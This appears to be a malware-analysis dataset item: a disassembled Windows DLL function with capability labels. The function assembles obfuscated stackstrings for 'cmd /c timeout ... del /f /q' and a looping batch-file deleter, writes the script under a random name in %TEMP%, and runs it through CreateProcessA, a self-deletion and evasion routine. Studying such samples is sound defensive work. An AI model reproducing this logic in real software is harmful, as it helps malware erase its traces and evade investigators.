Function at 0x10002fb0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa08
mov eax, dword [ebp + 0x14]
mov dword [0x10038418], eax
mov eax, dword [ebp + 0x10]
mov dword [0x10038420], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [0x1003841c], eax
lea eax, [esp + 0x74]
push esi
push eax
mov dword [esp + 0x7c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [esp + 0x78], 0
je 0x10002fff
push 0
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
push 0x103
lea eax, [esp + 0x2ed]
mov byte [esp + 0x2ec], 0
push 0
push eax
call fcn.100098a0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x2f4]
add esp, 0xc
push 0x104
push eax
push 0
call esi
call fcn.10001810
test al, al
jne 0x10003472
call fcn.10001940
test al, al
jne 0x10003472
call fcn.10001a80
test al, al
jne 0x100030f4
call fcn.10001ba0
test al, al
jne 0x100030f4
push 0x10033b68
lea ecx, [esp + 0x48]
call fcn.10004c40
lea eax, [esp + 0x2e8]
mov dword [esp + 0xd], 0x632f2064
push eax
mov dword [esp + 0x30], 0x2f20662f
lea eax, [esp + 0xc]
mov dword [esp + 0x37], 0x227325
mov dword [esp + 0x21], 0x646d6320
mov dword [esp + 0x1c], 0x20362074
mov dword [esp + 0x2b], 0x6c656420
mov dword [esp + 0x25], 0x20642f20
mov word [esp + 0x35], 0x2220
mov word [esp + 0x1a], 0x756f
mov dword [esp + 0xd], 0x2f20646d
mov dword [esp + 0x15], 0x6d697420
mov word [esp + 0x29], 0x632f
mov byte [esp + 0x34], 0x71
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x2f], 0x20
jmp 0x1000350e
push 0x103
lea eax, [esp + 0x3f5]
mov byte [esp + 0x3f4], 0
push 0
push eax
call fcn.100098a0
add esp, 0xc
mov byte [esp + 0xd8], 0
lea eax, [esp + 0xd9]
push 0x103
push 0
push eax
call fcn.100098a0
add esp, 0xc
mov byte [esp + 0x600], 0
lea eax, [esp + 0x601]
push 0x40f
push 0
push eax
call fcn.100098a0
add esp, 0xc
mov byte [esp + 0x4f8], 0
lea eax, [esp + 0x4f9]
push 0x103
push 0
push eax
call fcn.100098a0
add esp, 0xc
mov byte [esp + 0x1e0], 0
lea eax, [esp + 0x1e1]
push 0x103
push 0
push eax
call fcn.100098a0
add esp, 0xc
lea eax, [esp + 0x3f0]
push 0x104
push eax
push 0
call esi
push 0x104
lea eax, [esp + 0x4fc]
mov word [esp + 0x57], 0x50
push eax
lea eax, [esp + 0x58]
mov word [esp + 0x58], 0x4554
push eax
mov byte [esp + 0x5e], 0x4d
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
mov dword [esp + 0x59], 0x756f6965
cmp ecx, eax
mov word [esp + 0x5d], 0x79
lea ecx, [esp + 0x4f8]
mov byte [esp + 0x58], 0x61
sbb eax, eax
mov dword [esp + 0x62], 0x68676664
and eax, ecx
mov word [esp + 0x6b], 0x7170
mov dword [esp + 0x44], eax
mov word [esp + 0x6e], 0x7473
mov dword [esp + 0x66], 0x6d6c6b6a
mov dword [esp + 0x71], 0x7a7877
mov word [esp + 0x60], 0x6362
mov byte [esp + 0x6a], 0x6e
mov byte [esp + 0x70], 0x76
mov byte [esp + 0x6d], 0x72
call fcn.10005c60
mov edx, 9
lea ecx, [edx - 8]
call fcn.10005c90
mov esi, eax
xor ebx, ebx
test esi, esi
js 0x10003277
xor ecx, ecx
test bl, 1
je 0x1000325d
lea edx, [ecx + 5]
call fcn.10005c90
mov al, byte [esp + eax + 0x58]
jmp 0x1000326b
mov edx, 0x13
call fcn.10005c90
mov al, byte [esp + eax + 0x60]
mov byte [esp + ebx + 0x1e0], al
inc ebx
cmp ebx, esi
jle 0x10003248
push 0xffffffffffffffff
lea eax, [esp + 0x4c]
mov dword [esp + 0x4d], 0x746162
push eax
lea eax, [esp + 0x1e8]
mov byte [esp + 0x50], 0x2e
push 0x104
push eax
call fcn.100082e2
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0xf0]
push 0x104
push eax
call fcn.10008451
push 0xffffffffffffffff
push 0x10033b74
lea eax, [esp + 0x100]
push 0x104
push eax
call fcn.100082e2
push 0xffffffffffffffff
lea eax, [esp + 0x214]
push eax
lea eax, [esp + 0x110]
push 0x104
push eax
call fcn.100082e2
add esp, 0x40
mov word [esp + 0x20], 0xd22
lea eax, [esp + 0xd8]
mov dword [esp + 0x36], 0xd797274
mov dword [esp + 0x30], 0x746f6720
mov word [esp + 0x10], 0xd66
push eax
lea eax, [esp + 0x3f4]
mov word [esp + 0x3e], 0x640a
push eax
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x23], 0x65640a0d
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x614]
mov word [esp + 0x51], 0x206c
push 0x410
push eax
mov dword [esp + 0x25], 0x6f686365
mov dword [esp + 0x3f], 0x65206669
mov dword [esp + 0x2e], 0x72743a0a
mov dword [esp + 0x37], 0x2522206c
mov dword [esp + 0x48], 0x22732522
mov word [esp + 0x29], 0x6f20
mov word [esp + 0x5c], 0x73
mov byte [esp + 0x3e], 0xa
mov dword [esp + 0x43], 0x74736978
mov byte [esp + 0x58], 0x65
mov word [esp + 0x50], 0x206f
mov byte [esp + 0x24], 0x40
mov byte [esp + 0x5b], 0x25
mov byte [esp + 0x32], 0x79
mov byte [esp + 0x3b], 0x73
mov byte [esp + 0x47], 0x20
mov byte [esp + 0x2b], 0x66
call fcn.10008193
add esp, 0x18
mov edx, 0xc0000000
push 0x80
push 2
push ecx
push 3
lea ecx, [esp + 0xec]
call fcn.10001f40
lea ecx, [esp + 0x614]
add esp, 0x14
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100033e5
sub ecx, edx
lea eax, [esp + 0x7c]
push ecx
push eax
push ecx
lea edx, [esp + 0x60c]
mov ecx, esi
call fcn.10002260
add esp, 0xc
mov ecx, esi
call fcn.100020a0
push 0x44
lea eax, [esp + 0x84]
push 0
push eax
call fcn.100098a0
add esp, 0xc
mov dword [esp + 0x80], 0x44
xor eax, eax
mov dword [esp + 0xac], 1
mov word [esp + 0xb0], ax
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
push 0x50
push 0
push 0
push 0
lea eax, [esp + 0xf8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x10003553
push 0x10033b68
lea ecx, [esp + 0x48]
call fcn.10004c40
lea eax, [esp + 0x2e8]
mov dword [esp + 0xb], 0x20642f20
push eax
mov dword [esp + 0x30], 0x662f2065
lea eax, [esp + 0xc]
mov word [esp + 0x21], 0x6320
mov dword [esp + 0x1c], 0x20342074
mov word [esp + 0xd], 0x646d
mov dword [esp + 0x37], 0x73252220
mov dword [esp + 0x2c], 0x73617265
mov word [esp + 0x3b], 0x22
mov dword [esp + 0x26], 0x2f20642f
mov dword [esp + 0x17], 0x6f656d69
mov word [esp + 0x14], 0x2063
mov word [esp + 0x34], 0x2f20
mov word [esp + 0x24], 0x2064
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x36], 0x71
mov word [esp + 0x2a], 0x2063
mov byte [esp + 0x13], 0x2f
mov byte [esp + 0x23], 0x6d
push eax
lea eax, [esp + 0x608]
mov byte [esp + 0x10], 0x63
push eax
mov byte [esp + 0x28], 0x26
call fcn.100026e0
add esp, 0xc
lea eax, [esp + 0x600]
lea ecx, [esp + 0x44]
push eax
call fcn.10004d80
lea ecx, [esp + 0x44]
call fcn.10005cf0
mov ecx, eax
call fcn.10002530
lea ecx, [esp + 0x44]
call fcn.10004ca0
cmp dword [esp + 0x78], 0
je 0x10003562
push 1
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret